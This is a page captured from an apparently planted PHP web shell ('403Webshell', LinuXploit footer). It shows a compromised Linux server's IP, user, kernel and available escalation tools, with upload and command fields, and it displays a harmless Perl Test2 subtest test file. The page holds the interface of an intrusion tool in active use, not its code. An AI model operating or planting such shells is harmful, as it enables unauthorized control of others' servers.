403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.137.179.200
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/share/doc/perl-Test-Simple/t/Test2/behavior/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/share/doc/perl-Test-Simple/t/Test2/behavior/run_subtest_inherit.t
use strict;
use warnings;

use Test2::Tools::Tiny;

use Test2::API qw/run_subtest intercept context/;

# Test a subtest that should inherit the trace from the tool that calls it
my ($file, $line) = (__FILE__, __LINE__ + 1);
my $events = intercept { my_tool_inherit() };

is(@$events, 1, "got 1 event");
my $e = shift @$events;
ok($e->isa('Test2::Event::Subtest'), "got a subtest event");
is($e->trace->file, $file, "subtest is at correct file");
is($e->trace->line, $line, "subtest is at correct line");
my $plan = pop @{$e->subevents};
ok($plan->isa('Test2::Event::Plan'), "Removed plan");
for my $se (@{$e->subevents}) {
    is($se->trace->file, $file, "subtest event is at correct file");
    is($se->trace->line, $line, "subtest event is at correct line");
    ok($se->facets->{assert}->pass, "subtest event passed");
}




# Test a subtest that should NOT inherit the trace from the tool that calls it
($file, $line) = (__FILE__, __LINE__ + 1);
$events = intercept { my_tool_no_inherit() };

is(@$events, 1, "got 1 event");
$e = shift @$events;
ok($e->isa('Test2::Event::Subtest'), "got a subtest event");
is($e->trace->file, $file, "subtest is at correct file");
is($e->trace->line, $line, "subtest is at correct line");
$plan = pop @{$e->subevents};
ok($plan->isa('Test2::Event::Plan'), "Removed plan");
for my $se (@{$e->subevents}) {
    ok($se->trace->file ne $file, "subtest event is not in our file");
    ok($se->trace->line ne $line, "subtest event is not on our line");
    ok($se->facets->{assert}->{pass}, "subtest event passed");
}

done_testing;

# Make these tools appear to be in a different file/line
#line 100 'fake.pm'

sub my_tool_inherit {
    my $ctx = context();

    run_subtest(
        'foo',
        sub {
            ok(1, 'a');
            ok(2, 'b');
            is_deeply(\@_, [qw/arg1 arg2/], "got args");
        },
        {buffered => 1, inherit_trace => 1},
        'arg1', 'arg2'
    );

    $ctx->release;
}

sub my_tool_no_inherit {
    my $ctx = context();

    run_subtest(
        'foo',
        sub {
            ok(1, 'a');
            ok(2, 'b');
            is_deeply(\@_, [qw/arg1 arg2/], "got args");
        },
        {buffered => 1, inherit_trace => 0},
        'arg1', 'arg2'
    );

    $ctx->release;
}



Youez - 2016 - github.com/yon3zu
LinuXploit